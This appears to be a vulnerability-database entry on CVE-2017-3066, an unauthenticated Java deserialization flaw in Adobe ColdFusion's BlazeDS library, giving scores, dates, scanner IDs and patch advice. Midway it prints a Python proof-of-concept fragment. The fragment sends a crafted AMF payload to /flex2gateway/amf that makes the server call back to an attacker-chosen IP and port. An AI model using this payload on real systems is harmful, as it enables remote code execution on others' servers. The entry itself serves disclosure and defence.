Adobe ColdFusion 10/11/2016 Apache BlazeDS Library deserialization
CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
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7.7 | $0-$5k | 0.00 |
A vulnerability classified as critical was found in Adobe ColdFusion 10/11/2016 (Programming Language Software). Affected by this vulnerability is an unknown part of the component Apache BlazeDS Library. The manipulation with an unknown input leads to a deserialization vulnerability. The CWE definition for the vulnerability is CWE-502. The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid. As an impact it is known to affect confidentiality, integrity, and availability. The summary by CVE is:
Adobe ColdFusion 2016 Update 3 and earlier, ColdFusion 11 update 11 and earlier, ColdFusion 10 Update 22 and earlier have a Java deserialization vulnerability in the Apache BlazeDS library. Successful exploitation could lead to arbitrary code execution.
The bug was discovered 04/25/2017. The weakness was released 04/25/2017 as APSB17-14 as confirmed security bulletin (Website). The advisory is shared at helpx.adobe.com. This vulnerability is known as CVE-2017-3066 since 12/02/2016. The attack can be launched remotely. The exploitation doesn't need any form of authentication. Technical details are unknown but a public exploit is available.
A public exploit has been developed by Faisal Tameesh in Python and been published 11 months after the advisory. It is possible to download the exploit at exploit-db.com. It is declared as proof-of-concept. The vulnerability scanner Nessus provides a plugin with the ID 99731 (Adobe ColdFusion BlazeDS Java Object Deserialization RCE), which helps to determine the existence of the flaw in a target environment. It is assigned to the family CGI abuses and running in the context r. The commercial vulnerability scanner Qualys is able to test this issue with plugin 370381 (Adobe Security Hotfix for ColdFusion (APSB17-14)). The code used by the exploit is:
amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \ '\x07\x33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len(callback_IP)) + callback_IP + \ struct.pack('>I', int(callback_port)) + \ '\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00'; url = "http://" + target_IP + ":" + target_port + "/flex2gateway/amf" headers = {'Content-Type': 'application/x-amf'} response = requests.post(url, headers=headers, data=amf_payload, verify=False)
Applying a patch is able to eliminate this problem. A possible mitigation has been published immediately after the disclosure of the vulnerability.
The vulnerability is also documented in the databases at Tenable (99731) and Exploit-DB (43993). Entry connected to this vulnerability is available at 100620.
Product
Type
Vendor
Name
Version
License
CPE 2.3
CPE 2.2
CVSSv4
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CVSSv3
VulDB Meta Base Score: 8.5VulDB Meta Temp Score: 8.2
VulDB Base Score: 7.3
VulDB Temp Score: 6.6
VulDB Vector: 🔍
VulDB Reliability: 🔍
NVD Base Score: 9.8
NVD Vector: 🔍
CVSSv2
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Exploiting
Class: DeserializationCWE: CWE-502 / CWE-20
ATT&CK: Unknown
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Faisal Tameesh
Programming Language: 🔍
Download: 🔍
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Nessus ID: 99731
Nessus Name: Adobe ColdFusion BlazeDS Java Object Deserialization RCE
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍
OpenVAS ID: 801267
OpenVAS Name: Adobe ColdFusion Remote Code Execution And Cross Site Scripting Vulnerabilities
OpenVAS File: 🔍
OpenVAS Family: 🔍
Qualys ID: 🔍
Qualys Name: 🔍
Exploit-DB: 🔍
Threat Intelligence
Interest: 🔍Active Actors: 🔍
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Countermeasures
Recommended: PatchStatus: 🔍
Reaction Time: 🔍
0-Day Time: 🔍
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Suricata ID: 2025836
Suricata Class: 🔍
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Timeline
12/02/2016 🔍04/25/2017 🔍
04/25/2017 🔍
04/25/2017 🔍
04/25/2017 🔍
04/26/2017 🔍
04/27/2017 🔍
04/27/2017 🔍
04/28/2017 🔍
02/07/2018 🔍
02/07/2018 🔍
12/21/2020 🔍
Sources
Vendor: adobe.comAdvisory: APSB17-14
Researcher: Moritz Bechler
Status: Confirmed
Confirmation: 🔍
CVE: CVE-2017-3066 (🔍)
SecurityTracker: 1038364
SecurityFocus: 98003 - Adobe Flex BlazeDS CVE-2017-3066 Remote Code Execution Vulnerability
scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍
Entry
Created: 04/27/2017 16:47Updated: 12/21/2020 15:32
Changes: 04/27/2017 16:47 (94), 01/03/2020 11:12 (4), 12/21/2020 15:32 (2)
Complete: 🔍
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